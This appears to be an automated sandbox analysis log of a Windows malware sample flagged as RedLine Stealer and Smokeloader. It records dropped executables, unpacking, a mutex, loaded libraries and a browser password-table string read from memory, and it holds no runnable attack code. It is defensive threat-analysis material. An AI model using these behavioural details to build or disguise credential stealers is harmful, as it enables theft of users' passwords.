Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D7F4E1	3_2_00D7F4E1
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D824EE	3_2_00D824EE
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D6D4A0	3_2_00D6D4A0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D5D465	3_2_00D5D465
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D78C62	3_2_00D78C62
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8C460	3_2_00D8C460
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8B410	3_2_00D8B410
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D94C20	3_2_00D94C20
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D91C26	3_2_00D91C26
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D65DD8	3_2_00D65DD8
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D92DCA	3_2_00D92DCA
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D585B0	3_2_00D585B0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D75DA0	3_2_00D75DA0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D58D10	3_2_00D58D10
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8E520	3_2_00D8E520
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8C6C0	3_2_00D8C6C0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D686E5	3_2_00D686E5
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8E6E0	3_2_00D8E6E0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D6DE90	3_2_00D6DE90
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8CE90	3_2_00D8CE90
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D94680	3_2_00D94680
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D59660	3_2_00D59660
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D54E20	3_2_00D54E20
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D83FDF	3_2_00D83FDF
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D937D0	3_2_00D937D0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D77FC0	3_2_00D77FC0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D7A7F0	3_2_00D7A7F0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D84FF0	3_2_00D84FF0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D627E0	3_2_00D627E0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D7AF92	3_2_00D7AF92
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D78750	3_2_00D78750
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D79F7C	3_2_00D79F7C
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8DF60	3_2_00D8DF60
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D7F716	3_2_00D7F716
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D75713	3_2_00D75713
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D52F10	3_2_00D52F10
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D83707	3_2_00D83707
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D57730	3_2_00D57730

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\ScreenUpdateSync[1].exe 6717D6B9AB52C8FE701EEA7DB42FE9829F26D7F66207C6E559500523312F1C65
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe 6717D6B9AB52C8FE701EEA7DB42FE9829F26D7F66207C6E559500523312F1C65

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: String function: 00D64C20 appears 145 times
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: String function: 00D58280 appears 47 times
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: String function: 0040C5A4 appears 35 times
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: String function: 0074D627 appears 53 times
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: String function: 0074CCBA appears 112 times
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: String function: 0040CA53 appears 113 times
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: String function: 0040D3C0 appears 53 times

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 640 -s 1824

Source: chu4rWexSX.exe	Binary or memory string: OriginalFileName vs chu4rWexSX.exe
Source: chu4rWexSX.exe, 00000000.00000003.1478391517.0000000002190000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs chu4rWexSX.exe
Source: chu4rWexSX.exe, 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs chu4rWexSX.exe
Source: chu4rWexSX.exe, 00000000.00000000.1470091510.0000000000457000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesOrehinal4 vs chu4rWexSX.exe
Source: chu4rWexSX.exe, 00000000.00000003.1551741244.0000000003708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename0ispMsorts.exe8 vs chu4rWexSX.exe
Source: chu4rWexSX.exe, 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs chu4rWexSX.exe
Source: chu4rWexSX.exe	Binary or memory string: OriginalFilenamesOrehinal4 vs chu4rWexSX.exe

Source: chu4rWexSX.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.3929053083.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: chu4rWexSX.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/7@3/3

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Code function: 0_2_007007A6 CreateToolhelp32Snapshot,Module32First,

0_2_007007A6

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Code function: 3_2_00D8D0D0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_00D8D0D0

Source: C:\Users\user\Desktop\chu4rWexSX.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\track_prt[1].htm

Jump to behavior

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Mutant created: \Sessions\1\BaseNamedObjects\5rjtejk5rytrr
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess640

Source: C:\Users\user\Desktop\chu4rWexSX.exe

File created: C:\Users\user~1\AppData\Local\Temp\92F8.tmp

Jump to behavior

Source: chu4rWexSX.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\chu4rWexSX.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 92F8.tmp.exe, 00000003.00000003.2852287624.0000000003A16000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2852587299.00000000039F8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: chu4rWexSX.exe	Virustotal: Detection: 57%
Source: chu4rWexSX.exe	ReversingLabs: Detection: 56%

Source: unknown	Process created: C:\Users\user\Desktop\chu4rWexSX.exe "C:\Users\user\Desktop\chu4rWexSX.exe"
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Process created: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe "C:\Users\user~1\AppData\Local\Temp\92F8.tmp.exe"
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 640 -s 1824
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Process created: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe "C:\Users\user~1\AppData\Local\Temp\92F8.tmp.exe"	Jump to behavior

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\chu4rWexSX.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Unpacked PE file: 0.2.chu4rWexSX.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Unpacked PE file: 0.2.chu4rWexSX.exe.400000.0.unpack

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Code function: 0_2_0041B8FE LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0041B8FE

Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .textbss
Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .msvcjmc
Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .00cfg
Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .fptable
Source: 92F8.tmp.exe.0.dr	Static PE information: section name: .textbss
Source: 92F8.tmp.exe.0.dr	Static PE information: section name: .msvcjmc
Source: 92F8.tmp.exe.0.dr	Static PE information: section name: .00cfg
Source: 92F8.tmp.exe.0.dr	Static PE information: section name: .fptable

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0040D406 push ecx; ret	0_2_0040D419
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0040CA2D push ecx; ret	0_2_0040CA40
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_007020BE push ecx; iretd	0_2_007020BF
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0070309B push es; ret	0_2_007030BD
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0070276D push ecx; ret	0_2_00702804
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_007027DB push ecx; ret	0_2_00702804
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00702B12 pushad ; ret	0_2_00702B25
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00704EAF pushad ; ret	0_2_00704EB0
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00702F9E push 00000003h; ret	0_2_00702FA2
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0074D66D push ecx; ret	0_2_0074D680
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0077464F push esp; retf	0_2_00774657
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00776A98 pushad ; retf	0_2_00776A9F
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0077AA8E push dword ptr [esp+ecx-75h]; iretd	0_2_0077AA92
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00774C4D push esp; retf	0_2_00774C4E
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0074CC94 push ecx; ret	0_2_0074CCA7
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D6C92F push ebx; iretd	3_2_00D6C936

Source: chu4rWexSX.exe

Static PE information: section name: .text entropy: 7.872477493248167

Source: C:\Users\user\Desktop\chu4rWexSX.exe	File created: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe			Jump to dropped file
Source: C:\Users\user\Desktop\chu4rWexSX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\ScreenUpdateSync[1].exe			Jump to dropped file

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Code function: 0_2_0040B882 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0040B882

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
